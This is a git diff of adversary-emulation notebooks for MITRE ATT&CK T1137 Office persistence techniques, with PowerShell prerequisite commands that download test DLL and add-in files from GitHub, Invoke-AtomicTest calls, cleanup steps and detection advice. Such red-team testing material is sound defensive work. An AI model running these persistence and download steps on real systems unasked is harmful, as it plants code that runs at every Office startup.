test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started." }, { "cell_type": "markdown", - "id": "bd3137c6", + "id": "39144f42", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "24301a44", + "id": "f88869fe", "metadata": {}, "source": "### Atomic Test #1 - Office Application Startup Test Persistence (HKCU)\nOffice Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office\napplication is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Word must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n Stop-Process -Name \"winword\"\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```\n##### Description: DLL files must exist on disk at specified location\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x64.dll\") -and (Test-Path \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x86.dll\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1137.002\\bin\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.002/bin/officetest_x64.dll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x64.dll\"\nInvoke-Webrequest -Uri \"htps://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.002/bin/officetest_x86.dll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.002\\bin\\officetest_x86.dll\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dfa2e582", + "id": "83aba52f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "042b1700", + "id": "1072f0ba", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "4c5ff7ca", + "id": "1e7ac7a6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "318bbe27", + "id": "2bbbacb8", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"notepad\",\"WinWord\" -ErrorAction Ignore\nRemove-Item \"HKCU:\\Software\\Microsoft\\Office test\\Special\\Perf\" -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "5506ed1f", + "id": "c1f72ecc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "54cee8cd", + "id": "3d4643d2", "metadata": {}, "source": "## Detection\nMonitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\n\nConsider monitoring Office processes for anomalous DLL loads." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1137.003.ipynb b/playbook/tactics/persistence/T1137.003.ipynb index 941cbb5f..88f6d284 100644 --- a/playbook/tactics/persistence/T1137.003.ipynb +++ b/playbook/tactics/persistence/T1137.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "57c5dbd7", + "id": "2e21e053", "metadata": {}, "source": "# T1137.003 - Outlook Forms\nAdversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)" }, { "cell_type": "markdown", - "id": "2e61e7c3", + "id": "260ef35d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "7b2696ff", + "id": "f08c37d9", "metadata": {}, "source": "## Detection\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1137.004.ipynb b/playbook/tactics/persistence/T1137.004.ipynb index 06cd0c97..9dd43eb8 100644 --- a/playbook/tactics/persistence/T1137.004.ipynb +++ b/playbook/tactics/persistence/T1137.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b7b72238", + "id": "8ba5a9fd", "metadata": {}, "source": "# T1137.004 - Outlook Home Page\nAdversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n" }, { "cell_type": "markdown", - "id": "a9b8315c", + "id": "51e0840f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "92493474", + "id": "d1d0f413", "metadata": {}, "source": [ "### Atomic Test #1 - Install Outlook Home Page Persistence", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "cc934445", + "id": "5f752395", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "24ee3993", + "id": "486b917f", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg.exe delete HKCU\\Software\\Microsoft\\Office\\16.0\\Outlook\\WebView\\Inbox /v URL /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "feac0cf3", + "id": "4a3ce2be", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "58f7e794", + "id": "cedd0e81", "metadata": {}, "source": "## Detection\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1137.005.ipynb b/playbook/tactics/persistence/T1137.005.ipynb index e2864e46..95f7e2af 100644 --- a/playbook/tactics/persistence/T1137.005.ipynb +++ b/playbook/tactics/persistence/T1137.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e69377a0", + "id": "b50752f2", "metadata": {}, "source": "# T1137.005 - Outlook Rules\nAdversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)" }, { "cell_type": "markdown", - "id": "ddf7e36c", + "id": "87dd2a5b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "b68e700e", + "id": "4af33129", "metadata": {}, "source": "## Detection\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1137.006.ipynb b/playbook/tactics/persistence/T1137.006.ipynb index 2347b069..93e00b1d 100644 --- a/playbook/tactics/persistence/T1137.006.ipynb +++ b/playbook/tactics/persistence/T1137.006.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "f0acfb60", + "id": "c1315131", "metadata": {}, "source": "# T1137.006 - Add-ins\nAdversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. " }, { "cell_type": "markdown", - "id": "2c09033a", + "id": "89c449a2", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d63d15e6", + "id": "ee45ea60", "metadata": {}, "source": "### Atomic Test #1 - Code Executed Via Excel Add-in File (XLL)\nLoads an XLL file using the excel add-ins library.\nThis causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Excel must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Excel.Application\" | Out-Null\n Stop-Process -Name \"Excel\"\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Excel manually to meet this requirement\"\n\n```\n##### Description: XLL files must exist on disk at specified location\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\") -and (Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\"\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1d72d971", + "id": "fd1ddcd4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "57cd2e87", + "id": "60f0e1a1", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "805d56ec", + "id": "ebc03b5b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "221a481c", + "id": "a1be0a30", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"notepad\",\"Excel\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "40a4f48e", + "id": "c39961a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "e2ec8563", + "id": "f2673c3c", "metadata": {}, "source": "### Atomic Test #2 - Persistent Code Execution Via Excel Add-in File (XLL)\nCreates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started\nThe sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Excel must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Excel.Application\" | Out-Null\n Stop-Process -Name \"Excel\"\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Excel manually to meet this requirement\"\n\n```\n##### Description: XLL files must exist on disk at specified location\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\") -and (Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x64.xll\"\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\excelxll_x86.xll\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "15109654", + "id": "3902b25a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e2702de6", + "id": "599f98b2", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -83,42 +83,42 @@ { "cell_type": "code", "execution_count": null, - "id": "062e3a0c", + "id": "8a581cfd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "f4b9ce99", + "id": "6ca9c881", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$ver = (New-Object -COMObject \"Excel.Application\").version\nRemove-Item \"HKCU:\\Software\\Microsoft\\Office\\$Ver\\Excel\\Options\" -ErrorAction Ignore\nStop-Process -Name \"notepad\",\"Excel\" -ErrorAction Ignore\nStart-Sleep 3\nRemove-Item \"$env:APPDATA\\Microsoft\\AddIns\\notepad.xll\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cae509c1", + "id": "ff6631ef", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "0a627642", + "id": "916f52dd", "metadata": {}, "source": "### Atomic Test #3 - Persistent Code Execution Via Word Add-in File (WLL)\nCreates a Word Add-in file (WLL) which runs automatically when Word is started\nThe sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office.\nSuccessfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Word must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n Stop-Process -Name \"winword\"\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```\n##### Description: WLL files must exist on disk at specified location\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x64.wll\") -and (Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x86.wll\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x64.wll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x64.wll\"\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x86.wll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x86.wll\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1ca09cfd", + "id": "ee68c95c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "dae5457b", + "id": "e1e48c37", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -128,42 +128,42 @@ { "cell_type": "code", "execution_count": null, - "id": "84a09a2a", + "id": "f1fd398e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "e1ed23ed", + "id": "0444186e", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"notepad\",\"WinWord\" -ErrorAction Ignore\nStart-Sleep 3\nRemove-Item \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "54cb71c3", + "id": "7d7616f8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "b2449aa0", + "id": "1d8621ac", "metadata": {}, "source": "### Atomic Test #4 - Persistent Code Execution Via Excel VBA Add-in File (XLAM)\nCreates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started\nThe sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Excel must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Excel.Application\" | Out-Null\n Stop-Process -Name \"Excel\"\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Excel manually to meet this requirement\"\n\n```\n##### Description: XLAM file must exist on disk at specified location\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\ExcelVBAaddin.xlam\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/ExcelVBAaddin.xlam\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\ExcelVBAaddin.xlam\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "35e5e067", + "id": "d889fdfe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "57a10553", + "id": "e77e4eaf", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -173,42 +173,42 @@ { "cell_type": "code", "execution_count": null, - "id": "111b369a", + "id": "66abc2bd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "2a2d5868", + "id": "a4f0c6a8", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"notepad\",\"Excel\" -ErrorAction Ignore\nStart-Sleep 3\nRemove-Item \"$env:APPDATA\\Microsoft\\Excel\\XLSTART\\notepad.xlam\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f22b68a1", + "id": "f9ab7dde", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "f09f30e1", + "id": "5a7d4008", "metadata": {}, "source": "### Atomic Test #5 - Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM)\nCreates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started\nThe sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft Excel must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"PowerPoint.Application\" | Out-Null\n Stop-Process -Name \"PowerPnt\"\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft PowerPoint manually to meet this requirement\"\n\n```\n##### Description: PPAM file must exist on disk at specified location\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\PptVBAaddin.ppam\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\\" -Force | Out-Null\nInvoke-Webrequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/PptVBAaddin.ppam\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\PptVBAaddin.ppam\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cdd2d55b", + "id": "9e50d658", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "49285f98", + "id": "bd3b3e65", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -218,28 +218,28 @@ { "cell_type": "code", "execution_count": null, - "id": "23d6e9a1", + "id": "dfddd714", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "1bf35b9d", + "id": "7643a244", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$ver = (New-Object -COMObject \"PowerPoint.Application\").version\nRemove-Item \"HKCU:\\Software\\Microsoft\\Office\\$Ver\\PowerPoint\\AddIns\\notepad\" -ErrorAction Ignore\nStop-Process -Name \"notepad\",\"PowerPnt\" -ErrorAction Ignore\nStart-Sleep 3\nRemove-Item \"$env:APPDATA\\Microsoft\\AddIns\\notepad.ppam\" -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "263ed0c5", + "id": "c73ed7e8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137.006 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "40c9efd9", + "id": "086a45d3", "metadata": {}, "source": "## Detection\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior" } @@ -247,13 +247,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1137.ipynb b/playbook/tactics/persistence/T1137.ipynb index 55ae8650..4dbff05d 100644 --- a/playbook/tactics/persistence/T1137.ipynb +++ b/playbook/tactics/persistence/T1137.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "90bdb6c1", + "id": "f5015888", "metadata": {}, "source": "# T1137 - Office Application Startup\nAdversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)" }, { "cell_type": "markdown", - "id": "407e097d", + "id": "f38371f9", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "5413805b", + "id": "613ac5fb", "metadata": {}, "source": [ "### Atomic Test #1 - Office Application Startup - Outlook as a C2", @@ -27,34 +27,34 @@ { "cell_type": "code", "execution_count": null, - "id": "c2b6e3ec", + "id": "9e64f31f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "321541e1", + "id": "71238dc6", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Security\\Level\" /f >nul 2>&1\ndel %APPDATA%\\Microsoft\\Outlook\\VbaProject.OTM >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ee89571a", + "id": "5c9de900", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1137 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "e6743c4a", + "id": "a3152817", "metadata": {}, "source": "## Detection\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)" }, { "cell_type": "markdown", - "id": "67795fe0", + "id": "152a67dd", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to create a detection with a moderately high probability of success.\n#### Use Case\nA defender can collect system process information and look for abnormal activity tied to Office processes.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -62,13 +62,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git 